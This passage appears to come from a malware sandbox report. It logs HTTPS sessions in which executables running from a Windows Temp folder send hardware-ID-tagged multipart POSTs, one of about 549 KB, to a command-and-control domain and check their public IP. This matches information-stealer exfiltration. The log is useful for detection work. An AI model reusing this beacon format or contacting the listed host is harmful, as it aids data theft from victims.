name="pid"2--UNYQ3QX765RHAY6Content-Disposition: form-data; name="lid"CZJvss----UNYQ3QX765
2024-12-19 13:10:33 UTC	1133	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 13:10:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ki23ru8696pt30ggjdd3ud4k7n; expires=Mon, 14 Apr 2025 06:57:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qIY6TRFnw0iaiMJv7eaVwxxkvO12eXACwD2Fw%2Bv%2FYp7oRdfvTSX2Kp9ZMS3ie2P3yWSjmYYEzgvra9LJ9j0G%2BqY4PVhFwzUbhJ%2BCoeZGJ7v0H37EOZQmoc3%2F4xyH63HYR4Pagvw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f47a2277da58c09-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2021&min_rtt=2015&rtt_var=769&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2842&recv_bytes=9788&delivery_rate=1411992&cwnd=240&unsent_bytes=0&cid=2416737849754c2d&ts=820&x=0"
2024-12-19 13:10:33 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 13:10:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49823	172.67.177.88	443	8132	C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 13:10:35 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=POY06VCMYUH04ANMM Cookie: __cf_mw_byp=kvwwaXBbd4ymEivVRjQ7j6OIJcu7Hmw04lGgYAOx6ow-1734613826-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20426 Host: cheapptaxysu.click
2024-12-19 13:10:35 UTC	15331	OUT	Data Raw: 2d 2d 50 4f 59 30 36 56 43 4d 59 55 48 30 34 41 4e 4d 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 30 34 46 38 46 38 42 34 46 31 31 34 42 37 30 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 50 4f 59 30 36 56 43 4d 59 55 48 30 34 41 4e 4d 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 50 4f 59 30 36 56 43 4d 59 55 48 30 34 41 4e 4d 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 5a 4a 76 73 73 2d 2d 0d 0a 2d 2d 50 4f 59 30 Data Ascii: --POY06VCMYUH04ANMMContent-Disposition: form-data; name="hwid"604F8F8B4F114B70AC8923850305D13E--POY06VCMYUH04ANMMContent-Disposition: form-data; name="pid"3--POY06VCMYUH04ANMMContent-Disposition: form-data; name="lid"CZJvss----POY0
2024-12-19 13:10:35 UTC	5095	OUT	Data Raw: 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: M?lrQMn 64F6(X&7~`aO
2024-12-19 13:10:35 UTC	1129	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 13:10:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ome2uisbr0tdokd5ddqofvo824; expires=Mon, 14 Apr 2025 06:57:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h5H91PQlnptRBZRpNPX620Ipf6djb6hSVQETNQxK6syRUfDodS3MXYvN1hN2daYNzWpNuJULMqrijSZmnLtsOpufvVkTkqLMNSoQWUovXK%2B13rk54OvlK%2B5l6omaYD6DYvx22Kw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f47a2361c0618fa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1557&min_rtt=1556&rtt_var=586&sent=14&recv=24&lost=0&retrans=0&sent_bytes=2843&recv_bytes=21478&delivery_rate=1861057&cwnd=128&unsent_bytes=0&cid=84809ee88bbac92b&ts=962&x=0"
2024-12-19 13:10:35 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 13:10:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49832	172.67.177.88	443	8132	C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 13:10:38 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RA9CMTZXDAZBZ3FEY Cookie: __cf_mw_byp=kvwwaXBbd4ymEivVRjQ7j6OIJcu7Hmw04lGgYAOx6ow-1734613826-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1266 Host: cheapptaxysu.click
2024-12-19 13:10:38 UTC	1266	OUT	Data Raw: 2d 2d 52 41 39 43 4d 54 5a 58 44 41 5a 42 5a 33 46 45 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 30 34 46 38 46 38 42 34 46 31 31 34 42 37 30 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 52 41 39 43 4d 54 5a 58 44 41 5a 42 5a 33 46 45 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 52 41 39 43 4d 54 5a 58 44 41 5a 42 5a 33 46 45 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 5a 4a 76 73 73 2d 2d 0d 0a 2d 2d 52 41 39 43 Data Ascii: --RA9CMTZXDAZBZ3FEYContent-Disposition: form-data; name="hwid"604F8F8B4F114B70AC8923850305D13E--RA9CMTZXDAZBZ3FEYContent-Disposition: form-data; name="pid"1--RA9CMTZXDAZBZ3FEYContent-Disposition: form-data; name="lid"CZJvss----RA9C
2024-12-19 13:10:39 UTC	1131	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 13:10:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5j6u6h32ud2ih10s2v0c0cv2m2; expires=Mon, 14 Apr 2025 06:57:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ifb4tqvZZQ%2B4gSLRLfAgkidfaJ540%2FqUolJLkj4ZPmEUQD6ciP%2Fe4SKnXfAjQVCMuT0qAMdHj9gv2c3HqLazvTW8XKkRvKmuUDraRgWU127%2FibGs6e8X1nM3m2KfzBkjPCCCiKY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f47a24c4943c431-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2394&min_rtt=1516&rtt_var=1196&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2273&delivery_rate=1926121&cwnd=229&unsent_bytes=0&cid=b33f47c2cc2ea244&ts=774&x=0"
2024-12-19 13:10:39 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 13:10:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49830	98.85.100.80	443	7232	C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 13:10:39 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-12-19 13:10:39 UTC	224	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 13:10:39 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-12-19 13:10:39 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.189"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49843	172.67.177.88	443	8132	C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 13:10:42 UTC	367	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RA8QMCLF8OO Cookie: __cf_mw_byp=kvwwaXBbd4ymEivVRjQ7j6OIJcu7Hmw04lGgYAOx6ow-1734613826-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 549230 Host: cheapptaxysu.click
2024-12-19 13:10:42 UTC	15331	OUT	Data Raw: 2d 2d 52 41 38 51 4d 43 4c 46 38 4f 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 30 34 46 38 46 38 42 34 46 31 31 34 42 37 30 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 52 41 38 51 4d 43 4c 46 38 4f 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 52 41 38 51 4d 43 4c 46 38 4f 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 5a 4a 76 73 73 2d 2d 0d 0a 2d 2d 52 41 38 51 4d 43 4c 46 38 4f 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --RA8QMCLF8OOContent-Disposition: form-data; name="hwid"604F8F8B4F114B70AC8923850305D13E--RA8QMCLF8OOContent-Disposition: form-data; name="pid"1--RA8QMCLF8OOContent-Disposition: form-data; name="lid"CZJvss----RA8QMCLF8OOContent-D
2024-12-19 13:10:42 UTC	15331	OUT	Data Raw: 05 67 bf b6 1e d5 fc 14 d5 dc 8f b3 c4 49 5b 94 3c 47 e9 a7 ba 9f 4c d1 48 f2 86 76 b0 a7 b4 1d a3 63 45 f6 a6 07 6a d0 1f 2f d4 6d 0f 19 4b 64 3d 47 51 7c 31 97 74 9b 02 c3 f2 bb 61 82 c8 d4 b7 d1 33 a3 35 0e e8 fa 82 d3 e6 f1 bb bc d7 07 4f 73 54 f0 b7 4c 8d 1b 51 62 f6 3d a6 19 b8 1b 08 3b 50 64 8d 38 64 d6 49 4a 4c ab 50 66 db eb 1e 10 77 70 d9 db 81 cd 52 2b 5b 85 8b e8 99 d8 cd d3 75 fe 7f 4a 33 ea ea cc 30 01 6c 22 0d 7f 4d c1 7f 70 53 13 0d cc d1 34 03 e2 ad 28 c8 f9 04 28 0d 78 01 c1 3e bc 7e 89 3e fa ad 7e 21 45 d0 a2 88 0a 73 77 be e1 03 0d 04 22 96 f3 e9 6d 29 30 f8 d0 ca 58 c6 01 ce ab 5c fe 23 78 ac fb c7 fc 83 b5 db c2 02 a0 23 ab 4a 6f 9a b8 b8 8d 01 25 72 6c 39 65 40 0b 2e c1 fb 0b 10 67 2e fe 76 71 f0 51 1e 76 b8 12 1a 38 da a1 cf 07 27 Data Ascii: gI[<GLHvcEj/mKd=GQ\|1ta35OsTLQb=;Pd8dIJLPfwpR+[uJ30l"MpS4((x>~>~!Esw"m)0X\#x#Jo%rl9e@.g.vqQv8'
2024-12-19 13:10:42 UTC	15331	OUT	Data Raw: d0 e0 10 5e 7c 2a a5 4d 63 3d 84 86 dd e4 c0 b0 04 ac 48 56 48 28 6d 9c 54 6b 51 42 19 e6 4c 85 45 18 f7 8d 1a 17 f2 be ad 49 f5 c0 22 76 c4 0e 3c ca 0e 75 f9 be 91 c7 f7 12 f5 fb 84 83 6c 57 af 26 a6 cb 75 94 93 58 c2 5a a4 51 94 fe 15 97 d2 e7 01 63 ef 69 f5 97 78 2f ee 13 ea 9c e4 bd 12 19 44 f0 20 97 09 f0 42 12 98 d2 4c 83 24 62 62 02 e5 48 a0 dd ae 97 42 b5 a9 ea d7 d3 22 a3 5f 26 fd 59 86 74 b9 eb 6e 3c 25 45 c1 1b e6 b4 58 cc 87 1d d9 de d8 82 6e 7a 54 78 14 9d b8 b3 0e 73 37 48 c4 3d 80 4f d4 25 5e da 26 c4 e9 c4 11 bc 10 c4 f7 d0 c8 6d 4c a8 12 73 2b 76 0a f5 8f 97 22 29 8f 7f a6 b4 c1 17 a5 27 30 59 9a cc 92 60 2f e9 19 4d 28 1e 0f 57 1a 88 d4 96 cf 4f b8 ae a1 44 4e 8b 0a c1 e5 6d 38 d5 51 ca 39 85 db c9 9d a9 3f b3 12 4c e4 a7 66 05 d4 6a 42 Data Ascii: ^\|*Mc=HVH(mTkQBLEI"v<ulW&uXZQcix/D BL$bbHB"_&Ytn<%EXnzTxs7H=O%^&mLs+v")'0Y`/M(WODNm8Q9?LfjB
2024-12-19 13:10:42 UTC	15331	OUT	Data Raw: a1 27 c6 98 b7 da bb aa 0c 8c 0c 6a 43 66 7f 67 dc 65 04 6c c8 91 35 20 51 4c 54 0f fc b6 df 78 20 e8 e3 18 fb 9d b7 e5 48 a5 b1 00 7d 79 69 5a 4b ee f4 3a 77 42 4c 71 44 60 b3 e0 73 da 7c 7f 7a 79 d9 4d 71 ba 7c 3a 31 39 d4 67 01 21 76 1a a6 09 e9 f1 81 b3 a7 c9 e4 93 71 73 b5 b6 70 2c eb 20 38 0d ca 58 3a b9 2a 59 2e c7 bb 2c d6 7b c2 84 fb 36 3f cc 5f 8c 76 64 4b 4b b7 bc ea 13 ea c2 dc 3b 50 83 40 34 e1 63 8e cd 97 0c 6d c2 b9 d6 8d 30 52 82 e5 93 1b ab 35 65 e3 11 4a 39 6d ab b5 da d4 1b df 88 17 21 1c ef 82 6c ff 35 f3 04 84 a6 30 35 8f a1 3d cd 0d 54 3d b3 a4 fd 2f 66 58 46 10 3f b1 7b f2 7d 30 75 bd 4e 0a 07 c9 26 d9 07 5c 1b 07 2b 3e 0c e6 3d e4 b0 9a 9b 70 53 9c c6 15 62 b2 45 bf db 5d 88 7f c9 b6 81 dc 8d ca 5e 10 3a 6c 94 a5 0d 4a 67 9e 31 50 Data Ascii: 'jCfgel5 QLTx H}yiZK:wBLqD`s\|zyMq\|:19g!vqsp, 8X:*Y.,{6?_vdKK;P@4cm0R5eJ9m!l505=T=/fXF?{}0uN&\+>=pSbE]^:lJg1P
2024-12-19 13:10:42 UTC	15331	OUT	Data Raw: 9d 18 33 7f 33 53 45 c7 8c 42 c8 e5 7f 6d af 05 11 73 e6 1d 62 68 a4 a5 08 98 39 a5 a9 ac 31 1a c9 4d d0 6e a9 f6 fa b9 19 66 20 ec 53 74 bb 3f 31 21 9e 2e b4 85 70 0f 56 cf b0 50 b9 e6 e1 33 55 1a 0a 33 9d e7 e8 a6 0c 89 db 1d 05 8b f6 28 0d 6c 60 d0 de ee 91 6c 03 5d 92 e5 7a fe a4 e4 39 4d 42 4e 8c 50 db 1f 53 a7 5d 4d 90 d6 65 a2 d4 1d 49 a3 a4 b6 ba 5a 7b be 65 b0 89 db 92 5a bf 71 4c 4a 9d 93 2f 85 39 47 ac cf 2b 20 32 65 15 25 19 3e dc 21 29 a0 a0 25 04 0b a2 11 ff 6b 63 a3 58 f0 db 9b ba 61 8e b9 c3 7d df c6 77 e5 ac 3f b1 bd c3 d5 47 30 3e e6 55 7f a2 af 08 9e d3 42 fb de a5 f0 72 da e5 27 e8 83 c7 03 2f ef c2 7c bd 99 28 6a 98 fe fe ff d1 b6 06 ac 0f ff 17 6f bb 09 20 3b f8 70 eb 75 40 36 fa 8a 44 d8 94 a7 11 fc bc 08 95 33 3a 0e 74 d1 60 99 ec Data Ascii: 33SEBmsbh91Mnf St?1!.pVP3U3(l`l]z9MBNPS]MeIZ{eZqLJ/9G+ 2e%>!)%kcXa}w?G0>UBr'/\|(jo ;pu@6D3:t`
2024-12-19 13:10:42 UTC	15331	OUT	Data Raw: f2 8c fc aa 2a 36 74 41 aa fe ae 43 09 07 87 5e 54 a9 b9 6b fc 88 84 0d 90 d8 ec 41 7c 50 54 a1 37 17 b4 bd 33 86 a7 0d 4d d6 e2 00 8c 9d d2 82 8b bb a7 37 70 29 f6 66 3f 20 22 ec 7f 3a d1 5d 61 7f f2 35 fe 24 64 c1 16 61 e0 29 76 a0 bb 61 76 40 6b 93 13 55 7c 96 e4 43 c4 81 23 7c 0b a9 2a 7e 85 cd 20 c8 3d 30 df 7b 7c b9 75 24 9e 24 9c 16 d8 0e 55 4c 0a 82 b4 de b2 01 ce fa e2 db 0d c2 f7 99 81 ed 7e a5 90 f9 c1 a0 e5 6c 5e 60 ae 0e 92 42 a9 77 ed d3 2f e8 90 f0 6a f8 8f 95 07 35 f8 9b 2f b3 3f 8b 26 87 16 cf d1 8d f6 17 69 be 6f 1e ec ba 83 46 01 fb d5 aa fa 93 f0 56 24 bc ad 83 e1 01 0f 89 94 4f 08 28 73 05 dd 7c 98 64 65 60 16 6d 9f 3b e5 cb c5 b8 0e d1 cf 91 b5 30 c0 86 0b ab 8e f7 34 03 b4 b4 67 3b 27 79 78 a1 e8 e3 a2 34 59 1c ee 8c 04 98 a9 81 9c Data Ascii: 6tAC^TkA\|PT73M7p)f? ":]a5$da)vav@kU\|C#\|~ =0{\|u$$UL~l^`Bw/j5/?&ioFV$O(s\|de`m;04g;'yx4Y
2024-12-19 13:10:42 UTC	15331	OUT	Data Raw: bd 4a 01 1c 88 82 7d 86 5e 57 eb 8c 74 65 66 36 17 41 a7 1c f1 c2 ae c2 ab 52 84 ab 8e d1 7f fb 48 32 30 01 f1 a6 a1 79 bf 88 a6 d2 b1 8b 35 6e c6 a8 b6 e2 f7 f7 94 b2 12 74 46 78 97 5e 24 12 6c ef 91 a7 8c 7c b0 37 4e cb 31 12 a8 f1 70 f3 a7 35 dc f8 af f1 3c 5f d4 ce e2 4b 7d 76 0d a6 39 16 2d 86 08 69 f0 26 38 61 01 79 6e d7 f3 fc 04 98 40 b6 dd b8 51 0b 07 aa 71 b2 bc 28 9f 0f 47 ab 3a d1 3a 24 ae 5d fa 4a 9d 5f b9 18 bf 77 e8 68 b1 25 5b 75 f6 9d 45 be 2b 08 10 50 2a 03 c0 e1 e6 96 b5 d2 0c 66 df 9c b6 33 5c 5f 7c f5 ce ba 78 e0 93 a7 b3 cf 48 fd 83 f1 2c 12 6f 6e 44 26 8c cb ab b8 7f 61 a1 d4 3b 73 35 fa f1 e1 25 1b ae c0 96 0b b5 38 5d b1 93 a7 6a 7d 74 d9 47 79 4e 79 3f 68 2b f0 b6 9b 8a 95 c9 5b bd 8e e3 97 4b 1c b2 09 d1 0e 5a ac 6c c8 e4 73 06 Data Ascii: J}^Wtef6ARH20y5ntFx^$l\|7N1p5<_K}v9-i&8ayn@Qq(G::$]J_wh%[uE+P*f3\_\|xH,onD&a;s5%8]j}tGyNy?h+[KZls
2024-12-19 13:10:42 UTC	15331	OUT	Data Raw: 64 7a f0 09 dc 12 75 a6 ca a1 80 4d fd 5a f0 08 fe 88 c5 9d 22 c4 93 c5 dc ae b4 78 0a c0 04 2f 24 ec d9 cf 7d 3c 63 c1 5e 3a 73 82 eb e4 15 ef 0d 47 07 e0 ed 8c 15 0f b1 2c 21 21 5c cd db c0 18 d9 ab 48 c4 08 34 0e 4d 3d 32 ab f8 7f 1f 74 4e de 0d f2 8b 46 f6 d9 b1 19 f1 6f e4 a5 fb e8 b5 6a 72 29 e1 b5 d2 f6 95 53 0c 25 d4 ab bd f9 37 5c 01 3d 83 de 55 cd a0 5f c9 8b ee a6 ef 33 40 ca 7a de 10 a2 5f 38 23 01 53 dc 65 2f b0 2e 46 c2 91 34 a4 c8 7e 74 bb ec cd 9d c5 fc ff f7 49 d6 7c 13 a0 e5 0d cd 7c 07 f9 ee 42 cc 63 48 78 47 7d e7 91 f3 a8 9f c2 e0 e3 9c 33 1a 3e 2f 75 f2 95 14 16 35 1e 81 5d d8 5c ac c7 2e 03 e4 70 52 9f 03 31 7b 81 7f f2 08 dd ac 17 b8 3b c0 67 22 7c 30 a3 bb 48 06 10 04 d4 59 0d 29 11 c7 0b a0 6e a1 46 04 81 4e 53 5b 35 72 75 82 61 Data Ascii: dzuMZ"x/$}<c^:sG,!!\H4M=2tNFojr)S%7\=U_3@z_8#Se/.F4~tI\|\|BcHxG}3>/u5]\.pR1{;g"\|0HY)nFNS[5rua
2024-12-19 13:10:42 UTC	15331	OUT	Data Raw: 45 72 14 97 67 2d 50 21 bb 15 ee 5f 7b 1f 4d ab 5c 72 fd 7e 90 a8 8d 3f 41 c0 5a 12 5f 48 b8 f8 02 c9 e5 bf 53 e4 bb 6e 32 32 1d 2f 25 e4 3a 25 f8 da 1e e8 57 9b 12 36 83 63 95 66 a6 0e e0 5a 4a 24 8e fb d1 49 8e 95 37 44 57 22 0f b0 5e ab 28 a4 de f2 f4 59 1f 4c 6d 86 43 12 c2 05 66 f6 61 eb f2 4f 4c f1 d3 b6 31 be 80 5c 43 87 78 87 d7 9b 4f 63 63 7c 0f 46 7a 89 bd dc bc d2 47 92 ee c0 ce bb 4f 25 a6 5b df 33 35 d0 b1 75 45 0f dd 2d 3c b7 fd f7 2f 94 c8 d2 b9 41 22 bb ba 99 c0 4e 2d e5 e5 0b 7d 52 05 44 7a 9a ef 9a 4b da 64 48 bc 00 50 3c f0 06 d0 a4 3d ca 1c b6 74 25 66 a4 96 72 c7 59 ea 1a 23 9f 65 44 df 7c b6 71 15 ba 51 12 53 45 8a 45 60 ac 92 2c 43 a0 99 8f d3 76 19 a9 4d fc 53 84 fa 7d 5f 30 db 99 d8 cd ad 31 e2 aa f3 bd 06 a4 fc 5b ac d8 73 cf 74 Data Ascii: Erg-P!_{M\r~?AZ_HSn22/%:%W6cfZJ$I7DW"^(YLmCfaOL1\CxOcc\|FzGO%[35uE-</A"N-}RDzKdHP<=t%frY#eD\|qQSEE`,CvMS}_01[st
2024-12-19 13:10:42 UTC	15331	OUT	Data Raw: 9e bf 89 22 99 d9 6c 82 8a dc c4 aa a3 f1 8a d7 3e 93 82 eb d7 a7 f9 7c 53 76 ef 2f 59 23 ff 4e fe df 3e 43 3c 34 1b 98 18 4d 57 01 bf f9 2a 78 e4 c0 64 a5 f3 28 cf 1b 3f 35 dc b9 ec ed 69 f2 25 3e 1a 9e f5 8f 37 e5 3c b8 2e 02 ec de 9d ff f3 9b 65 7b 54 d9 1d d8 4e 0f e5 f4 1b f6 20 da be d3 cf 46 9e f7 1e 6b d2 00 06 ed b4 b7 4e bb 37 4e 8d fd 72 98 06 17 f3 9e ce 78 54 16 3e 12 3b 63 e7 6e 7d ad 73 27 f4 b7 48 ea 85 1d 30 e0 bd 24 a6 5c 2f 05 8c 89 aa 3d 65 1d 2f e2 c6 d0 7e 19 13 dc 4e dc 1b 08 f7 06 45 78 05 d2 66 b2 1e 86 df 95 d8 15 a4 2b f7 fd a0 ae 3e f5 db b3 c0 63 06 cf 14 0d 3e b4 5d a1 52 bf 39 a8 ed 14 a5 c4 0c e4 dd 7a dd b9 55 45 28 ac 61 f2 99 8a d0 85 a4 47 81 80 77 66 61 88 f0 38 1a 45 ad 7b 0b f9 a7 20 18 ef 1f c2 3e 99 f4 3c e9 76 5f Data Ascii: "l>\|Sv/Y#N>C<4MW*xd(?5i%>7<.e{TN FkN7NrxT>;cn}s'H0$\/=e/~NExf+>c>]R9zUE(aGwfa8E{ ><v_
2024-12-19 13:10:44 UTC	1131	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 13:10:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=81mvfbaf290llmct80e7k0hch7; expires=Mon, 14 Apr 2025 06:57:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LBcQ3sTyRzoXmh6guFLXHQ9wc90ZbZyK5cHzZXnwfASP9XJSnrxb0GAbokUNYwq3swp8XUvuCmcMliTF5FRjoU4wymEiL0xlGiHsQobUalOY0gr%2FM38lq67oI4H2KnmnuMWSwOE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f47a261ec2c42da-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1653&min_rtt=1649&rtt_var=627&sent=289&recv=565&lost=0&retrans=0&sent_bytes=2843&recv_bytes=551795&delivery_rate=1732937&cwnd=227&unsent_bytes=0&cid=6c069fd05abe64b1&ts=2564&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49854	172.67.177.88	443	8132	C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe

Timestamp	Bytes transferred	Direction	Data
